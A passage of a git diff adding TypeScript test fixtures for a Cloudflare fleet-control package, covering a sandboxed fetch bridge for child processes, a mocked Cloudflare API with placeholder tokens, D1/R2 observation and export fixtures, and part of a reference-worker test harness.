+ * the process. `countRequests` adds the `requests` counter the acceptance
+ * driver reports.
+ */
+export const directBridgePreamble = ({
+  bridgeUrl,
+  workerOrigin,
+  countRequests = false,
+}: Readonly<{
+  bridgeUrl: string;
+  workerOrigin: string;
+  countRequests?: boolean;
+}>) => `const originalFetch = globalThis.fetch;
+${countRequests ? 'let requests = 0;\n' : ''}const fetch = async (input, init) => {
+  const request = new Request(input, init);
+  const url = new URL(request.url);
+  if (url.origin !== 'https://api.cloudflare.com' && url.origin !== ${JSON.stringify(workerOrigin)})
+    throw new Error('unexpected child origin');
+${countRequests ? '  requests += 1;\n' : ''}  const headers = new Headers(request.headers);
+  headers.set('X-Direct-Fixture-Url', request.url);
+  return originalFetch(${JSON.stringify(bridgeUrl)}, { method: request.method, headers, body: request.body, signal: request.signal, redirect: 'manual', duplex: 'half' });
+};
+globalThis.fetch = async () => { throw new Error('unexpected child network'); };
+`;
+
+/**
+ * Runs one child under the current executable and collects both descriptors.
+ * The child is killed at `timeoutMs` so a hung run is reported with its own
+ * output rather than as a suite timeout.
+ */
+export async function spawnDirectChild(
+  args: readonly string[],
+  options: Readonly<{ env?: NodeJS.ProcessEnv; timeoutMs: number }>,
+) {
+  const child = spawn(process.execPath, [...args], {
+    env: { PATH: process.env.PATH, ...options.env },
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
+  let stdout = '';
+  let stderr = '';
+  child.stdout.on('data', (chunk) => {
+    stdout += String(chunk);
+  });
+  child.stderr.on('data', (chunk) => {
+    stderr += String(chunk);
+  });
+  const status = await new Promise<number | null>((resolve, reject) => {
+    const timer = setTimeout(() => {
+      child.kill('SIGKILL');
+    }, options.timeoutMs);
+    child.once('error', (error) => {
+      clearTimeout(timer);
+      reject(error);
+    });
+    child.once('close', (code) => {
+      clearTimeout(timer);
+      resolve(code);
+    });
+  });
+  return { status, stdout, stderr };
+}
diff --git a/packages/fleet-control/test/fixtures/direct-credentialed-config.ts b/packages/fleet-control/test/fixtures/direct-credentialed-config.ts
new file mode 100644
index 00000000..d9be98a1
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-credentialed-config.ts
@@ -0,0 +1,56 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { readFileSync } from 'node:fs';
+import {
+  deriveDirectConformanceNames,
+  validateDirectConformanceConfig,
+} from '../../scripts/direct-credentialed-conformance-config.mjs';
+import type { DirectRunManifest } from '../../scripts/direct-credentialed-conformance-preflight.mjs';
+
+export const DIRECT_FIXTURE_PROVIDER = Object.freeze({
+  accountWorkersDevSubdomain: 'direct-fixture',
+});
+
+export function directFixtureManifest(): DirectRunManifest {
+  const raw = readFileSync(
+    new URL(
+      '../../scripts/direct-credentialed-conformance.example.json',
+      import.meta.url,
+    ),
+  );
+  const config = validateDirectConformanceConfig(
+    JSON.parse(raw.toString('utf8')),
+    {
+      now: Date.parse('2026-09-09T12:00:00Z'),
+    },
+  );
+  const { artifact: _referenceArtifact, ...referenceRuntime } =
+    config.referenceWorker;
+  const {
+    artifact: _tenantArtifact,
+    spec,
+    ...deploymentRuntime
+  } = config.deployment;
+  const source =
+    'export class Maintenance {} export class Runner {} export default {};';
+  return {
+    contractVersion: config.contractVersion,
+    configSha256: createHash('sha256').update(raw).digest('hex'),
+    resourcePrefix: config.resourcePrefix,
+    environment: config.environment,
+    names: deriveDirectConformanceNames(config),
+    referenceRuntime,
+    deploymentRuntime,
+    tenantModule: {
+      name: 'worker.js',
+      source,
+      contentType: 'application/javascript+module',
+      byteLength: Buffer.byteLength(source),
+      sha256: createHash('sha256').update(source).digest('hex'),
+    },
+    tenantWasm: [],
+    fixtureVersion: spec.fixtureVersion,
+    interruption: config.interruption,
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/direct-observations.ts b/packages/fleet-control/test/fixtures/direct-observations.ts
new file mode 100644
index 00000000..32dbdf08
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-observations.ts
@@ -0,0 +1,431 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs';
+import type { DirectExpectedWorkerVersion } from '../../scripts/direct-credentialed-observations.mjs';
+import { openDirectRunState } from '../../scripts/direct-credentialed-run-state.mjs';
+import type { DirectReferenceAction } from '../../scripts/direct-reference-contract.mjs';
+import type { DirectDecommissionExportMetadata } from '../../scripts/direct-reference-lifecycle.js';
+
+export const observationHash = (value: string | Uint8Array) =>
+  createHash('sha256').update(value).digest('hex');
+export const providerJson = (result: unknown, result_info?: unknown) =>
+  Response.json({
+    success: true,
+    errors: [],
+    result,
+    ...(result_info === undefined ? {} : { result_info }),
+  });
+export const OBSERVATION_TOKEN = 'legacy/provider-token+sentinel==';
+export const SQL_SENTINEL = 'SELECT private_sql_sentinel;';
+export type ObservationHook = (
+  request: Request,
+  fallback: () => Response,
+) => Response | Promise<Response>;
+
+export async function directObservationFixture(
+  timeout = 1000,
+  stage:
+    | 'confirmed'
+    | 'absent'
+    | 'provider-pending'
+    | 'no-control' = 'confirmed',
+  runtimeOptions: Readonly<{
+    invocationTimeoutMs?: number;
+    maxProviderRequests?: number;
+    maxInvocations?: number;
+  }> = {},
+) {
+  const directory = await mkdtemp(join(tmpdir(), 'direct-observations-'));
+  const config = JSON.parse(
+    await readFile(
+      new URL(
+        '../../scripts/direct-credentialed-conformance.example.json',
+        import.meta.url,
+      ),
+      'utf8',
+    ),
+  );
+  const reference =
+    "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};";
+  const tenant =
+    'export class Maintenance {} export class Runner {} export default {};';
+  config.referenceWorker.artifact = {
+    bundle: './reference.mjs',
+    mainModule: 'worker.js',
+    sha256: observationHash(reference),
+  };
+  config.deployment.artifact = {
+    bundle: './tenant.mjs',
+    mainModule: 'worker.js',
+    sha256: observationHash(tenant),
+  };
+  config.referenceWorker.requestTimeoutMs = timeout;
+  config.referenceWorker.invocationTimeoutMs = 2000;
+  Object.assign(config.referenceWorker, runtimeOptions);
+  const configPath = join(directory, 'config.json');
+  await Promise.all([
+    writeFile(configPath, JSON.stringify(config)),
+    writeFile(join(directory, 'reference.mjs'), reference),
+    writeFile(join(directory, 'tenant.mjs'), tenant),
+  ]);
+  const prepared = await preflightDirectConformance({ configPath });
+  const journal = await openDirectRunState({
+    configPath,
+    prepared,
+    accountId: 'account',
+    mode: 'run',
+  });
+  const names = prepared.names;
+  async function settle(action: DirectReferenceAction) {
+    const reservation = await journal.reserveInvocation(
+      JSON.stringify({
+        contractVersion: 1,
+        configSha256: prepared.configSha256,
+        action,
+      }),
+    );
+    await journal.settleInvocation(reservation);
+    return reservation.ordinal;
+  }
+  if (stage !== 'absent') {
+    await journal.bindBootstrapContext({
+      names,
+      zoneId: 'zone',
+      zoneName: config.ownedHostname,
+      accountWorkersDevSubdomain: 'attested-account',
+      dispatch: { kind: 'empty', count: 0 },
+    });
+    if (stage === 'provider-pending')
+      await journal.beginBootstrapMutation('create-fleet-d1');
+    else {
+      for (const [kind, name, uuid] of [
+        ['create-fleet-d1', names.fleetDatabase, 'fleet-id'],
+        ['create-quota-d1', names.quotaDatabase, 'quota-id'],
+      ] as const) {
+        await journal.beginBootstrapMutation(kind);
+        await journal.confirmBootstrapMutation({
+          kind,
+          receipt: { name, uuid },
+        });
+      }
+      await journal.beginBootstrapMutation('create-export-r2');
+      await journal.confirmBootstrapMutation({
+        kind: 'create-export-r2',
+        receipt: {
+          name: names.exportBucket,
+          jurisdiction: 'default',
+          creationDate: '2026-09-09T12:00:00.000Z',
+        },
+      });
+      await journal.beginBootstrapMutation('upload-reference');
+      await journal.confirmBootstrapMutation({
+        kind: 'upload-reference',
+        receipt: { scriptName: names.referenceWorker, tag: null, etag: null },
+      });
+      await journal.recordBootstrapObservation({
+        kind: 'active',
+        deploymentId: 'reference-deployment',
+        versionId: 'reference-version',
+      });
+      await journal.beginBootstrapMutation('enable-reference-ingress');
+      await journal.confirmBootstrapMutation({
+        kind: 'enable-reference-ingress',
+        receipt: { enabled: true, previewsEnabled: false },
+      });
+      if (stage !== 'no-control')
+        await journal.recordBootstrapObservation({
+          kind: 'control-read',
+          ordinal: await settle({ kind: 'control-read' }),
+        });
+    }
+  }
+  const expected: DirectExpectedWorkerVersion[] = ['a', 'b'].map((role) => ({
+    role: role as 'a' | 'b',
+    versionId: `version-${role}`,
+    databaseId: `database-${role}`,
+    specDigest: observationHash(`spec-${role}`),
+    applicationRelease: '2',
+  }));
+  const weights = [{ version_id: 'version-a', percentage: 100 }];
+  const deployment = {
+    id: 'deployment-a',
+    strategy: 'percentage',
+    versions: weights,
+  };
+  const bindingList = (index: number, current = false) => {
+    const target = expected[index];
+    if (!target) throw new Error('fixture target absent');
+    const roleNames = names.roles[target.role];
+    return [
+      { name: 'DB', type: 'd1', database_id: target.databaseId },
+      {
+        name: 'MAINTENANCE',
+        type: 'durable_object_namespace',
+        class_name: 'Maintenance',
+        namespace_id: 'maintenance-id',
+      },
+      {
+        name: 'RUNNER',
+        type: 'durable_object_namespace',
+        class_name: 'Runner',
+        namespace_id: 'runner-id',
+        script_name: roleNames.scriptName,
+      },
+      {
+        name: 'PROBE_BUCKET',
+        type: 'r2_bucket',
+        bucket_name: 'allocated-probe-bucket',
+      },
+      ...Object.entries({
+        DEPLOYMENT_TENANT: roleNames.tenantTag,
+        FLEET_ENVIRONMENT: config.environment,
+        FLEET_INGRESS_CONTRACT: 'guarded-object-v1',
+        FLEET_SCHEMA_VERSION:
+          current && weights[0]?.version_id !== target.versionId ? '1' : '2',
+        FLEET_SPEC_DIGEST:
+          current && weights[0]?.version_id !== target.versionId
+            ? observationHash('old')
+            : target.specDigest,
+        APPLICATION_RELEASE:
+          current && weights[0]?.version_id !== target.versionId ? '1' : '2',
+      }).map(([name, text]) => ({ name, type: 'plain_text', text })),
+      { name: 'APP_PROBE_TOKEN', type: 'secret_text' },
+      { name: 'DEPLOYMENT_IDENTITY_SECRET', type: 'secret_text' },
+      { name: 'MAINTENANCE_ADMIN_SECRET', type: 'secret_text' },
+    ];
+  };
+  const runtime = {
+    compatibility_date: config.deployment.compatibilityDate,
+    compatibility_flags: config.deployment.compatibilityFlags,
+    limits: { cpu_ms: config.deployment.cpuLimitMs },
+  };
+  const requests: Request[] = [];
+  const unexpected: string[] = [];
+  let hook: ObservationHook | undefined;
+  const effects = expected.map((target) => {
+    const identity = {
+      version: 1,
+      role: target.role,
+      tenantTag: names.roles[target.role].tenantTag,
+      environment: config.environment,
+      target: {
+        physicalScriptName: names.roles[target.role].scriptName,
+        specDigest: target.specDigest,
+        artifactVersion: target.versionId,
+      },
+    };
+    const key = observationHash(
+      JSON.stringify({
+        tenantTag: identity.tenantTag,
+        environment: identity.environment,
+        specDigest: target.specDigest,
+        artifactVersion: target.versionId,
+      }),
+    );
+    const identity_json = JSON.stringify(identity);
+    const provenance_json = JSON.stringify({
+      entry: { privateToken: 'opaque-token-sentinel' },
+      alreadySettled: false,
+      observedAt: '2026-09-09T12:00:00.000Z',
+    });
+    const bound = (field: string, value: string) =>
+      observationHash(
+        JSON.stringify([
+          'observation',
+          config.resourcePrefix,
+          'settlement',
+          key,
+          field,
+          value,
+        ]),
+      );
+    return {
+      run_key: config.resourcePrefix,
+      observation_kind: 'settlement',
+      observation_key: key,
+      identity_json,
+      identity_sha256: bound('identity', identity_json),
+      provenance_json,
+      provenance_sha256: bound('provenance', provenance_json),
+    };
+  });
+  const exportBytes = Buffer.from(SQL_SENTINEL);
+  const metadata: Extract<
+    DirectDecommissionExportMetadata,
+    { available: true }
+  > = {
+    available: true,
+    role: 'a',
+    receipt: {
+      version: 1,
+      authority: `r2://${names.exportBucket}/${config.resourcePrefix}/receipts/v1`,
+      databaseId: 'database-a',
+      operationId: 'operation-a',
+    },
+    location: `r2://${names.exportBucket}/${config.resourcePrefix}/receipts/v1/database-a/operation-a.sql`,
+    size: exportBytes.length,
+    sha256: observationHash(exportBytes),
+    lifecyclePhase: 'database-exported',
+    intentState: 'transitioning',
+    revision: 4,
+    generation: 1,
+  };
+  const fetchRequest: typeof fetch = async (input, init) => {
+    const request = new Request(input, init);
+    requests.push(request);
+    const url = new URL(request.url);
+    if (
+      url.origin !== 'https://api.cloudflare.com' ||
+      request.headers.get('authorization') !== `Bearer ${OBSERVATION_TOKEN}` ||
+      request.redirect !== 'manual'
+    )
+      throw new Error('unexpected transport');
+    const root = '/client/v4/accounts/account';
+    const path = url.pathname;
+    let response: (() => Response) | undefined;
+    for (const [index, target] of expected.entries()) {
+      const script = `${root}/workers/scripts/${names.roles[target.role].scriptName}`;
+      if (request.method === 'GET' && path === `${script}/deployments`)
+        response = () => providerJson({ deployments: [deployment] });
+      if (
+        request.method === 'GET' &&
+        path === `${script}/deployments/deployment-a`
+      )
+        response = () => providerJson(deployment);
+      if (
+        request.method === 'GET' &&
+        path === `${script}/versions/${target.versionId}`
+      )
+        response = () =>
+          providerJson({
+            id: target.versionId,
+            resources: {
+              script_runtime: runtime,
+              bindings: bindingList(index),
+            },
+          });
+      if (request.method === 'GET' && path === `${script}/settings`)
+        response = () =>
+          providerJson({
+            ...runtime,
+            limits: {
+              cpu_ms: 999,
+              subrequests: config.deployment.subrequestLimit,
+            },
+            bindings: bindingList(index, true),
+          });
+    }
+    if (
+      request.method === 'GET' &&
+      path === `${root}/r2/buckets/allocated-probe-bucket`
+    )
+      response = () =>
+        providerJson({
+          name: 'allocated-probe-bucket',
+          creation_date: '2026-09-09T13:00:00Z',
+        });
+    if (
+      request.method === 'POST' &&
+      path === `${root}/d1/database/fleet-id/query`
+    ) {
+      const body = (await request.clone().json()) as {
+        sql: string;
+        params: string[];
+      };
+      if (
+        body.sql ===
+          "SELECT run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256 FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'" &&
+        JSON.stringify(body.params) === JSON.stringify([config.resourcePrefix])
+      )
+        response = () => providerJson([{ success: true, results: effects }]);
+      if (
+        body.sql ===
+        'SELECT tenant_tag,environment,backend,script_name,database_id,schema_version,artifact_version,desired_spec_digest,phase,settled_settlement_key FROM anchorage_fleet_deployments WHERE tenant_tag=? AND environment=?'
+      ) {
+        const index = expected.findIndex(
+          (value) =>
+            names.roles[value.role].tenantTag === body.params[0] &&
+            body.params[1] === config.environment,
+        );
+        const target = expected[index];
+        if (target)
+          response = () =>
+            providerJson([
+              {
+                success: true,
+                results: [
+                  {
+                    tenant_tag: names.roles[target.role].tenantTag,
+                    environment: config.environment,
+                    backend: 'plain-worker',
+                    script_name: names.roles[target.role].scriptName,
+                    database_id: target.databaseId,
+                    schema_version: 2,
+                    artifact_version: target.versionId,
+                    desired_spec_digest: target.specDigest,
+                    phase: 'ready',
+                    settled_settlement_key: effects[index]?.observation_key,
+                  },
+                ],
+              },
+            ]);
+      }
+    }
+    if (
+      request.method === 'GET' &&
+      decodeURIComponent(path) ===
+        `${root}/r2/buckets/${names.exportBucket}/objects/${config.resourcePrefix}/receipts/v1/database-a/operation-a.sql`
+    )
+      response = () => new Response(exportBytes);
+    if (!response || url.search) {
+      unexpected.push(`${request.method} ${path}`);
+      throw new Error('unexpected request');
+    }
+    return hook ? hook(request, response) : response();
+  };
+  return {
+    prepared,
+    journal,
+    expected,
+    deployment,
+    runtime,
+    effects,
+    metadata,
+    requests,
+    unexpected,
+    directory,
+    configPath,
+    settle,
+    input: {
+      prepared,
+      journal,
+      apiToken: OBSERVATION_TOKEN,
+      fetch: fetchRequest,
+    },
+    hook(value: ObservationHook | undefined) {
+      hook = value;
+    },
+    async exportInput() {
+      return {
+        prepared,
+        journal,
+        apiToken: OBSERVATION_TOKEN,
+        fetch: fetchRequest,
+        role: 'a' as const,
+        metadata,
+        sourceInvocationOrdinal: await settle({
+          kind: 'decommission-export',
+          role: 'a',
+        }),
+      };
+    },
+    async close() {
+      await journal.close();
+      await rm(directory, { recursive: true, force: true });
+    },
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts
new file mode 100644
index 00000000..f347c691
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts
@@ -0,0 +1,1022 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { createServer, type Server } from 'node:http';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { Readable } from 'node:stream';
+import { fileURLToPath } from 'node:url';
+import type { D1Database, R2Bucket } from '@cloudflare/workers-types';
+import {
+  assertExecutionFenceState,
+  assertMutationEpoch,
+  DeploymentInventory,
+  DoStatusError,
+  type ExecutionFenceDatabase,
+  type ExecutionFenceStatement,
+  ExecutionFenceStore,
+  executionFenceReadingPayload,
+  InvalidInventoryRequestError,
+  type InventoryDatabase,
+  type InventoryStatement,
+  isInventoryCategory,
+  MutationEpochMismatchError,
+} from '@proofoftech/flowsafe/do-runner';
+import { expect } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import type { DirectRunManifest } from '../../scripts/direct-credentialed-conformance-preflight.mjs';
+import { directDeploymentSpec } from '../../scripts/direct-credentialed-spec.js';
+import {
+  DIRECT_TENANT_OBJECT_BODY,
+  DIRECT_TENANT_OBJECT_KEY,
+  DIRECT_TENANT_ROUTES,
+  directTenantMutationEpoch,
+  directTenantProbeEpoch,
+} from '../../scripts/direct-credentialed-tenant-object.mjs';
+import type { DirectRunBinding } from '../../scripts/direct-reference-context.js';
+import {
+  DIRECT_REFERENCE_PATH,
+  type DirectReferenceAction,
+} from '../../scripts/direct-reference-contract.mjs';
+import { DirectReferenceJournal } from '../../scripts/direct-reference-journal.js';
+import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js';
+import { D1FleetStateStore } from '../../src/state-store.js';
+import type { DeploymentSecrets } from '../../src/types.js';
+import {
+  type CloudflareFixtureRequest,
+  recordingFetch,
+  restProjection,
+  single,
+} from './cloudflare-fetch-fixture.js';
+import { directFixtureManifest } from './direct-credentialed-config.js';
+import {
+  type D1State,
+  deploymentIdentity,
+  maintenanceResponder,
+  providerWorld,
+  type SqliteBinding,
+} from './provider-world.js';
+
+/** Tenant routes the harness answers with the maintenance credential. */
+const ADMIN_ROUTES: readonly string[] = Object.freeze([
+  '/admin/execution-fence',
+  '/admin/inventory',
+]);
+
+/** Tenant routes the harness answers with the application probe credential. */
+const APPLICATION_ROUTES: readonly string[] = Object.freeze(
+  Object.values(DIRECT_TENANT_ROUTES),
+);
+
+/** The union a supplied `applicationFetch` is handed. */
+const TENANT_ROUTES: readonly string[] = Object.freeze([
+  ...APPLICATION_ROUTES,
+  ...ADMIN_ROUTES,
+]);
+
+/** Projects a do-runner fault onto the status response the tenant returns. */
+function doStatusResponse(error: unknown): Response {
+  if (!(error instanceof DoStatusError)) throw error;
+  return Response.json(
+    {
+      error: error.message,
+      ...(error.reason === undefined ? {} : { reason: error.reason }),
+    },
+    { status: error.status },
+  );
+}
+
+/** Reads the epoch classification a fence comparison refused with. */
+function epochMismatch(error: unknown): MutationEpochMismatchError {
+  if (!(error instanceof MutationEpochMismatchError)) throw error;
+  return error;
+}
+
+function fixtureFenceDatabase(
+  state: D1State,
+): ExecutionFenceDatabase & InventoryDatabase {
+  return {
+    prepare(query: string) {
+      let bindings: readonly SqliteBinding[] = [];
+      const statement: ExecutionFenceStatement & InventoryStatement = {
+        bind(...values: unknown[]) {
+          bindings = values as SqliteBinding[];
+          return statement;
+        },
+        async all<T = unknown>(): Promise<{ results: T[] }> {
+          const rows: readonly unknown[] = state.queryDatabase(query, bindings);
+          return { results: [...rows] as T[] };
+        },
+        async run(): Promise<unknown> {
+          return state.queryDatabase(query, bindings);
+        },
+      };
+      return statement;
+    },
+  };
+}
+
+async function fixtureExecutionFence(
+  request: CloudflareFixtureRequest,
+  state: D1State,
+): Promise<Response> {
+  if (request.method !== 'GET' && request.method !== 'POST')
+    return Response.json({ error: 'method not allowed' }, { status: 405 });
+  const fence = new ExecutionFenceStore(fixtureFenceDatabase(state));
+  try {
+    if (request.method === 'GET')
+      return Response.json(executionFenceReadingPayload(await fence.read()));
+    const parsed = request.body;
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed))
+      return Response.json(
+        { error: 'a JSON object body is required' },
+        { status: 400 },
+      );
+    const body = parsed as Record<string, unknown>;
+    const reading = await fence.transition({
+      expected: assertExecutionFenceState(body.expected, 'expected'),
+      next: assertExecutionFenceState(body.next, 'next'),
+      ...(body.proofKey === undefined ? {} : { proofKey: body.proofKey }),
+      expectedMutationEpoch: body.expectedMutationEpoch,
+      expectedRevision: body.expectedRevision,
+      advanceMutationEpoch: body.advanceMutationEpoch,
+    });
+    return Response.json(executionFenceReadingPayload(reading));
+  } catch (error) {
+    return doStatusResponse(error);
+  }
+}
+
+async function fixtureInventory(
+  request: CloudflareFixtureRequest,
+  url: URL,
+  state: D1State,
+): Promise<Response> {
+  if (request.method !== 'GET')
+    return Response.json({ error: 'method not allowed' }, { status: 405 });
+  try {
+    const inventory = new DeploymentInventory(fixtureFenceDatabase(state));
+    const category = url.searchParams.get('category');
+    if (category === null || category === '')
+      return Response.json(inventory.index());
+    if (!isInventoryCategory(category))
+      throw new InvalidInventoryRequestError(
+        `unknown inventory category '${category}'`,
+      );
+    const rawLimit = url.searchParams.get('limit');
+    if (rawLimit !== null && !/^[0-9]{1,4}$/.test(rawLimit))
+      throw new InvalidInventoryRequestError(
+        'inventory limit must be a positive integer',
+      );
+    const cursor = url.searchParams.get('cursor');
+    return Response.json(
+      await inventory.read(category, {
+        ...(cursor === null ? {} : { cursor }),
+        ...(rawLimit === null ? {} : { limit: Number(rawLimit) }),
+      }),
+    );
+  } catch (error) {
+    return doStatusResponse(error);
+  }
+}
+
+async function fixtureFenceOutcome(
+  state: D1State,
+  epoch: number,
+): Promise<Response> {
+  const reading = await new ExecutionFenceStore(
+    fixtureFenceDatabase(state),
+  ).read();
+  try {
+    assertMutationEpoch(reading, epoch);
+    return Response.json({ accepted: true });
+  } catch (error) {
+    const mismatch = epochMismatch(error);
+    return Response.json({
+      accepted: false,
+      code: mismatch.reason.code,
+      classification: mismatch.reason.classification,
+      status: mismatch.status,
+    });
+  }
+}
+
+async function fixtureFenceProbe(
+  request: CloudflareFixtureRequest,
+  state: D1State,
+  release: string | undefined,
+): Promise<Response> {
+  const body = request.body;
+  const epoch =
+    body && typeof body === 'object' && !Array.isArray(body)
+      ? Reflect.get(body, 'epoch')
+      : undefined;
+  if (!['current', 'missing', 'stale', 'future'].includes(epoch))
+    return Response.json({ error: 'invalid epoch label' }, { status: 400 });
+  const supplied = directTenantProbeEpoch(release, epoch);
+  const reading = await new ExecutionFenceStore(
+    fixtureFenceDatabase(state),
+  ).read();
+  try {
+    assertMutationEpoch(reading, supplied);
+    return Response.json({ epoch, classification: 'accepted' });
+  } catch (error) {
+    return Response.json({
+      epoch,
+      classification: epochMismatch(error).reason.classification,
+    });
+  }
+}
+
+export async function createDirectReferenceHarness(
+  policy: Readonly<{
+    maintenanceNow?: () => number;
+    manifest?: DirectRunManifest;
+    binding?: DirectRunBinding;
+    applicationProbes?: boolean;
+    nodeProviderRest?: boolean;
+    nodeResponse?: (request: Request, response: Response) => Promise<Response>;
+    applicationFetch?: (request: CloudflareFixtureRequest) => Promise<Response>;
+    providerResponse?: (
+      request: CloudflareFixtureRequest,
+      response: Response,
+    ) => Promise<Response>;
+  }> = {},
+) {
+  const manifest = policy.manifest ?? directFixtureManifest();
+  const roles = ['a', 'b', 'recovery'] as const;
+  function fixtureSecrets(role: string): DeploymentSecrets {
+    return {
+      deploymentIdentity: `identity-${role}`.padEnd(40, 'i'),
+      maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'),
+      application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') },
+    };
+  }
+  const secrets = {
+    a: fixtureSecrets('a'),
+    b: fixtureSecrets('b'),
+    recovery: fixtureSecrets('recovery'),
+  };
+  const binding = policy.binding ?? {
+    version: 1,
+    accountId: 'account',
+    fleetDatabaseId: '00000000-0000-0000-0000-000000000011',
+    quotaDatabaseId: '00000000-0000-0000-0000-000000000012',
+    exportBucketName: manifest.names.exportBucket,
+    referenceModuleSetSha256: 'c'.repeat(64),
+    accountWorkersDevSubdomain: 'direct-fixture',
+  };
+  const specs = roles.map((role) =>
+    directDeploymentSpec(manifest, role, 'initial', secrets[role], binding),
+  );
+  /** True for the run's own export bucket, false for a tenant's. */
+  const isExportBucket = (name: string | undefined) =>
+    name === binding.exportBucketName;
+  const exportObjectsPath = `/r2/buckets/${binding.exportBucketName}/objects/`;
+  const exportObjectsPrefix = `/client/v4/accounts/account${exportObjectsPath}`;
+  const exportObjectKey = (pathname: string) =>
+    decodeURIComponent(pathname.split('/objects/')[1] ?? '');
+
+  let directory: string;
+  let server: TestHarness;
+  let bridge: Server;
+  let db: D1Database;
+  let fleetStore: D1FleetStateStore;
+  let applicationBytes: R2Bucket;
+  let exportBytes: R2Bucket;
+  const world = providerWorld('uuid');
+  world.accountSubdomain = binding.accountWorkersDevSubdomain;
+  const bridgeErrors: unknown[] = [];
+  const sqlFailures: string[] = [];
+  const buckets = new Map<
+    string,
+    { name: string; jurisdiction: string; creation_date: string }
+  >();
+  const rest = restProjection(world);
+  const versionRuntime = new Map<string, unknown>();
+  const activeVersion = (script: ReturnType<typeof world.scripts.get>) =>
+    script?.versions.find((version) =>
+      script.deployment?.some(
+        (entry) =>
+          entry.versionId === version.versionId && entry.percentage === 100,
+      ),
+    );
+  /**
+   * Answers the export bucket's per-key object routes out of `exportBytes`.
+   * Its one caller is `observedProviderRest`, so `policy.nodeProviderRest`
+   * decides whether these answer or the plain projection does.
+   */
+  async function exportObjectResponse(
+    request: CloudflareFixtureRequest,
+    url: URL,
+  ): Promise<Response | undefined> {
+    if (!url.pathname.startsWith(exportObjectsPrefix)) return undefined;
+    if (request.method === 'GET') {
+      const value = await exportBytes.get(exportObjectKey(url.pathname));
+      return value
+        ? new Response(await value.arrayBuffer())
+        : new Response(null, { status: 404 });
+    }
+    if (request.method === 'DELETE') {
+      await exportBytes.delete(exportObjectKey(url.pathname));
+      return single({});
+    }
+    return undefined;
+  }
+  async function observedProviderRest(
+    request: CloudflareFixtureRequest,
+  ): Promise<Response> {
+    const url = new URL(request.url);
+    const scriptName = url.pathname
+      .split('/workers/scripts/')[1]
+      ?.split('/')[0];
+    const script = scriptName ? world.scripts.get(scriptName) : undefined;
+    const metadata =
+      request.body &&
+      typeof request.body === 'object' &&
+      'metadata' in request.body
+        ? (request.body.metadata as Record<string, unknown>)
+        : undefined;
+    if (
+      request.method === 'GET' &&
+      url.pathname.endsWith(`/deployments/${deploymentIdentity(script)}`)
+    )
+      return single({
+        id: deploymentIdentity(script),
+        strategy: 'percentage',
+        versions: script?.deployment?.map(({ versionId, percentage }) => ({
+          version_id: versionId,
+          percentage,
+        })),
+      });
+    if (
+      request.method === 'GET' &&
+      url.pathname.endsWith('/settings') &&
+      script?.present
+    ) {
+      const active = activeVersion(script);
+      const runtime = versionRuntime.get(active?.versionId ?? '') as
+        | Record<string, unknown>
+        | undefined;
+      return single({
+        ...runtime,
+        bindings: active?.bindings.map((entry) => {
+          const value = entry as Record<string, unknown>;
+          return value.type === 'secret_text'
+            ? { type: value.type, name: value.name }
+            : value;
+        }),
+      });
+    }
+    if (
+      request.method === 'POST' &&
+      url.pathname ===
+        `/client/v4/accounts/account/d1/database/${binding.fleetDatabaseId}/query`
+    ) {
+      const query = request.body as { sql: string; params: string[] };
+      if (
+        !query.sql.startsWith('SELECT ') ||
+        (!query.sql.includes(' FROM direct_reference_observations WHERE ') &&
+          !query.sql.includes(' FROM anchorage_fleet_deployments WHERE '))
+      )
+        throw new Error('unexpected Node D1 query');
+      const result = await db
+        .prepare(query.sql)
+        .bind(...query.params)
+        .all();
+      return single([{ success: true, results: result.results }]);
+    }
+    const exported = await exportObjectResponse(request, url);
+    if (exported) return exported;
+    let response = await rest(request);
+    if (metadata && response.ok && scriptName) {
+      const current = world.scripts.get(scriptName);
+      for (const version of current?.versions ?? [])
+        if (!versionRuntime.has(version.versionId))
+          versionRuntime.set(version.versionId, {
+            compatibility_date: metadata.compatibility_date,
+            compatibility_flags: metadata.compatibility_flags ?? [],
+            limits: metadata.limits,
+          });
+    }
+    if (
+      request.method === 'GET' &&
+      /\/versions\/[^/]+$/u.test(url.pathname) &&
+      response.ok
+    ) {
+      const value = (await response.json()) as {
+        result: { id: string; resources: Record<string, unknown> };
+      };
+      const runtime = versionRuntime.get(value.result.id) as
+        | { limits?: { cpu_ms?: number } }
+        | undefined;
+      value.result.resources.script_runtime = {
+        ...runtime,
+        limits: { cpu_ms: runtime?.limits?.cpu_ms },
+      };
+      response = Response.json(value);
+    }
+    return response;
+  }
+  async function providerRest(
+    request: CloudflareFixtureRequest,
+  ): Promise<Response> {
+    try {
+      const response = policy.nodeProviderRest
+        ? await observedProviderRest(request)
+        : await rest(request);
+      return policy.providerResponse
+        ? await policy.providerResponse(request, response)
+        : response;
+    } catch (error) {
+      if (
+        new URL(request.url).pathname.endsWith('/query') &&
+        error instanceof Error &&
+        'code' in error &&
+        error.code === 'ERR_SQLITE_ERROR'
+      ) {
+        sqlFailures.push(error.message);
+        return Response.json(
+          {
+            success: false,
+            errors: [{ code: 1, message: 'fixture SQL query failed' }],
+          },
+          { status: 400 },
+        );
